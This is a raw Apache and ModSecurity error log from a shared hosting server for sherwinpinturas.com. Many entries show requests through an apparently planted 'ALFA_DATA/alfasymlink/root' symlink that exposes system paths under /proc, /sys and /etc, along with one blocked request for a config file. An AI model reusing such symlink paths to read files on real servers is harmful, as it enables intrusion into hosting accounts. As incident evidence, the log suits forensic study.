[Mon Oct 26 11:08:06.542422 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 52.71.46.142:43218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/iomem_reg_shift
[Mon Oct 26 11:08:18.390172 2026] [core:error] [pid 3044268:tid 3044268] (13)Permission denied: [client 34.206.193.60:28224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/unbind
[Mon Oct 26 11:08:22.301422 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 18.235.158.19:17859] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:08:42.583306 2026] [core:error] [pid 3050354:tid 3050354] (13)Permission denied: [client 185.191.171.15:37884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/zswap_entry/reclaim_account
[Mon Oct 26 11:08:50.223563 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 52.1.157.90:6652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/8/module/uevent
[Mon Oct 26 11:08:54.253654 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 34.194.233.48:46479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:08:58.259775 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 34.225.243.131:1514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:09:03.025072 2026] [security2:error] [pid 3052563:tid 3052563] [client 16.216.88.39:28672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/copr.conf"] [unique_id "at9tDhD8ps0KDjAKLrNJNQAAAAc"]
[Mon Oct 26 11:09:03.025535 2026] [security2:error] [pid 3052563:tid 3052563] [client 16.216.88.39:28672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/copr.conf"] [unique_id "at9tDhD8ps0KDjAKLrNJNQAAAAc"]
[Mon Oct 26 11:09:03.025951 2026] [security2:error] [pid 3052563:tid 3052563] [client 16.216.88.39:28672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/copr.conf"] [unique_id "at9tDhD8ps0KDjAKLrNJNQAAAAc"]
[Mon Oct 26 11:09:10.297673 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.90.244.132:26196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:09:14.174640 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 3.212.205.90:60294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:09:15.233720 2026] [ssl:error] [pid 3050354:tid 3050354] (70014)End of file found: [client 85.208.96.195:34740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:09:15.266307 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 85.208.96.195:34750] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:09:38.152999 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 34.225.243.131:49035] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:09:50.169893 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 34.231.156.59:60309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:02.171039 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.203.152.231:60098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:06.173445 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 44.194.139.149:45838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:10.207321 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 54.92.171.106:36960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:14.248123 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 23.23.99.55:15982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:18.166621 2026] [ssl:error] [pid 3044312:tid 3044312] (5)Input/output error: [client 50.17.193.48:42175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:30.179252 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 184.73.68.20:9221] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:31.232307 2026] [core:error] [pid 3052563:tid 3052563] (13)Permission denied: [client 185.191.171.14:47780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/align
[Mon Oct 26 11:10:38.175195 2026] [core:error] [pid 3044287:tid 3044287] (13)Permission denied: [client 52.71.46.142:36826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory7/node0/cpu1/crash_notes
[Mon Oct 26 11:10:46.159720 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.156.248.117:25685] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:54.366855 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 52.54.95.127:3200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:10:58.289259 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 23.21.250.48:31670] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:11:10.398523 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 23.23.214.190:21535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:11:18.288884 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 98.82.59.253:3310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:11:22.171129 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.208.146.193:9095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:11:30.175809 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 34.224.9.144:12783] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:11:40.966223 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54755] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9toTs8VJ7QW5firx_mrAAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:11:40.966271 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54755] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9toTs8VJ7QW5firx_mrAAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:11:42.155502 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 3.94.157.25:41248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:11:48.666051 2026] [core:crit] [pid 3044287:tid 3044287] (13)Permission denied: [client 185.191.171.13:60836] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/pki/kcare-gpg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/pki/kcare-gpg/' is executable
[Mon Oct 26 11:11:48.666152 2026] [core:crit] [pid 3044287:tid 3044287] (13)Permission denied: [client 185.191.171.13:60836] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/pki/rsyslog/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/pki/rsyslog/' is executable
[Mon Oct 26 11:11:54.170262 2026] [security2:error] [pid 3052342:tid 3052342] [client 54.210.152.179:3733] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/firmware_node/subsystem/drivers/"] [unique_id "at9tunNsi4cqo2ItOKd9vAAAAAM"]
[Mon Oct 26 11:11:54.170317 2026] [security2:error] [pid 3052342:tid 3052342] [client 54.210.152.179:3733] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/firmware_node/subsystem/drivers/"] [unique_id "at9tunNsi4cqo2ItOKd9vAAAAAM"]
[Mon Oct 26 11:11:56.947581 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 85.208.96.203:28086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP/usersize
[Mon Oct 26 11:12:02.310051 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 100.29.164.178:58182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:12:06.198626 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 54.87.62.248:52991] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:12:10.238132 2026] [ssl:error] [pid 3052563:tid 3052563] (70014)End of file found: [client 34.194.95.99:47589] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:12:14.294838 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 34.225.138.57:41335] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/mouse1/device/device/driver/uevent
[Mon Oct 26 11:12:26.209244 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 98.84.184.80:56716] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:12:30.194519 2026] [core:error] [pid 3052563:tid 3052563] (13)Permission denied: [client 18.211.148.239:32756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/module/uevent
[Mon Oct 26 11:12:34.188906 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 100.28.49.152:25353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:12:38.431947 2026] [security2:error] [pid 3048988:tid 3048988] [client 107.172.76.131:54760] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9t2V8gi_sSVE9v5DZWkQAAAAg"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:12:38.431992 2026] [security2:error] [pid 3048988:tid 3048988] [client 107.172.76.131:54760] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9t2V8gi_sSVE9v5DZWkQAAAAg"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 11:12:42.293133 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 3.231.193.38:17261] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:12:46.290745 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 3.210.223.61:38587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:12:50.888323 2026] [security2:error] [pid 3044281:tid 3044281] [client 107.172.76.131:54762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9t5635Sx5rx6P-SwLpCgAAAC8"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:12:50.888381 2026] [security2:error] [pid 3044281:tid 3044281] [client 107.172.76.131:54762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9t5635Sx5rx6P-SwLpCgAAAC8"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 11:12:54.171629 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 98.84.131.195:2601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:12:58.147487 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 34.236.135.14:23461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:06.181563 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 100.24.167.60:3935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:10.217677 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 3.222.85.38:29070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/remove
[Mon Oct 26 11:13:14.164226 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 3.225.9.97:54255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:18.184583 2026] [ssl:error] [pid 3044268:tid 3044268] (70014)End of file found: [client 50.17.193.48:20708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:18.184801 2026] [security2:error] [pid 3044268:tid 3044268] [client 50.17.193.48:20708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory13/node0/memory8/valid_zones"] [unique_id "at9uDvKWwmJGO0eR0H_ymgAAACE"]
[Mon Oct 26 11:13:18.185077 2026] [security2:error] [pid 3044268:tid 3044268] [client 50.17.193.48:20708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory13/node0/memory8/valid_zones"] [unique_id "at9uDvKWwmJGO0eR0H_ymgAAACE"]
[Mon Oct 26 11:13:22.459124 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 52.200.142.199:17292] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:30.150809 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 52.200.54.136:20615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:31.122841 2026] [authz_core:error] [pid 3052342:tid 3052342] [client 185.191.236.38:44756] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 11:13:38.144520 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 34.239.197.197:11530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:46.154718 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 54.243.63.52:56166] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:50.162762 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 52.71.203.206:15650] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:53.111582 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 185.191.171.13:46730] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/shrink
[Mon Oct 26 11:13:54.377848 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 107.20.255.194:22162] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:13:58.160231 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 34.225.24.180:61732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:14:00.243155 2026] [security2:error] [pid 3052341:tid 3052341] [client 43.155.27.244:56824] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/databasefirma.php"] [unique_id "at9uOPKd-duql2BEedUzWAAAAAI"]
[Mon Oct 26 11:14:02.256312 2026] [ssl:error] [pid 3045151:tid 3045151] (70014)End of file found: [client 44.221.37.41:52045] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:14:06.232751 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 50.16.72.185:29036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:14:10.240706 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 34.225.24.180:15087] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:15/eject
[Mon Oct 26 11:14:18.361627 2026] [ssl:error] [pid 3052341:tid 3052341] (70014)End of file found: [client 54.80.73.122:64195] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:14:34.137744 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 50.16.72.185:56238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:14:38.247506 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 44.217.255.167:23513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:14:42.148118 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 3.225.45.252:8442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:14:58.212962 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 34.231.45.47:21840] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:15:01.071265 2026] [authz_core:error] [pid 3044296:tid 3044296] [client 177.43.232.2:48964] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 11:15:01.298048 2026] [authz_core:error] [pid 3044268:tid 3044268] [client 177.43.232.2:60139] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 11:15:14.215293 2026] [ssl:error] [pid 3044296:tid 3044296] (70014)End of file found: [client 54.152.163.42:51280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:15:16.783665 2026] [core:error] [pid 3044268:tid 3044268] (13)Permission denied: [client 85.208.96.207:45116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/reclaim_account
[Mon Oct 26 11:15:22.171046 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 34.230.124.21:19339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:15:34.157446 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 107.20.25.33:51932] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:15:38.354327 2026] [core:error] [pid 3045151:tid 3045151] (13)Permission denied: [client 54.197.178.107:44869] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/subsystem/event0/subsystem/input5/device/driver/uevent
[Mon Oct 26 11:15:39.560172 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 185.191.171.16:25376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/poison
[Mon Oct 26 11:15:42.172130 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 44.214.19.8:5080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:15:57.813925 2026] [security2:error] [pid 3044312:tid 3044312] [client 85.208.96.207:48498] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/eengine/php81/clone.php"] [unique_id "at9urdT_ySsYV2zOlWu_oQAAAEo"]
[Mon Oct 26 11:15:57.813967 2026] [security2:error] [pid 3044312:tid 3044312] [client 85.208.96.207:48498] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/eengine/php81/clone.php"] [unique_id "at9urdT_ySsYV2zOlWu_oQAAAEo"]
[Mon Oct 26 11:16:14.237390 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 3.224.215.150:49436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:16:22.159018 2026] [core:error] [pid 3044296:tid 3044296] (13)Permission denied: [client 34.231.118.144:20624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/ttyS0/device/tty/ttyS3/type
[Mon Oct 26 11:16:26.273467 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 3.213.46.222:32105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:16:34.337150 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 54.87.62.248:51980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:16:42.145362 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 34.195.60.66:31460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/thunderbolt/uevent
[Mon Oct 26 11:16:49.110530 2026] [core:error] [pid 3052341:tid 3052341] (13)Permission denied: [client 185.191.171.14:59636] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/scsi_host/host0/host_reset
[Mon Oct 26 11:16:54.280963 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 18.213.240.226:14302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:17:14.227581 2026] [ssl:error] [pid 3052688:tid 3052688] (70014)End of file found: [client 35.171.117.160:13039] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:17:15.608300 2026] [core:error] [pid 3044303:tid 3044303] (13)Permission denied: [client 85.208.96.199:52970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/object_size
[Mon Oct 26 11:17:42.258752 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 18.214.251.19:11990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:17:50.160659 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.207.252.58:59795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:17:54.280220 2026] [core:error] [pid 3048588:tid 3048588] (13)Permission denied: [client 100.24.167.60:62256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:02.0/resource1
[Mon Oct 26 11:17:58.149436 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 52.5.232.250:2810] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:18:02.169949 2026] [ssl:error] [pid 3044287:tid 3044287] (70014)End of file found: [client 54.164.106.236:33254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:18:06.153464 2026] [ssl:error] [pid 3044281:tid 3044281] (70014)End of file found: [client 54.210.155.69:58274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:18:10.156438 2026] [ssl:error] [pid 3048588:tid 3048588] (70014)End of file found: [client 54.84.250.51:12523] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:18:22.181503 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 100.28.57.133:28613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:18:26.262869 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 98.83.177.42:45262] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:18:34.339687 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.236.41.241:40283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:18:50.189593 2026] [ssl:error] [pid 3048990:tid 3048990] (70014)End of file found: [client 44.194.139.149:16000] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:19:03.983629 2026] [authz_core:error] [pid 3048588:tid 3048588] [client 51.81.104.37:27148] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 11:19:34.258507 2026] [core:error] [pid 3044281:tid 3044281] (13)Permission denied: [client 3.221.50.71:17633] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers/hpet/unbind
[Mon Oct 26 11:19:38.244399 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 3.208.146.193:31578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 11:19:39.420437 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 185.191.171.6:46804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/objs_per_slab
[Mon Oct 26 11:19:46.135537 2026] [ssl:error] [pid 3048989:tid 3048989] (70014)End of file found: [client 100.29.107.38:31718] AH02013: coalesce failed to read from data bucket
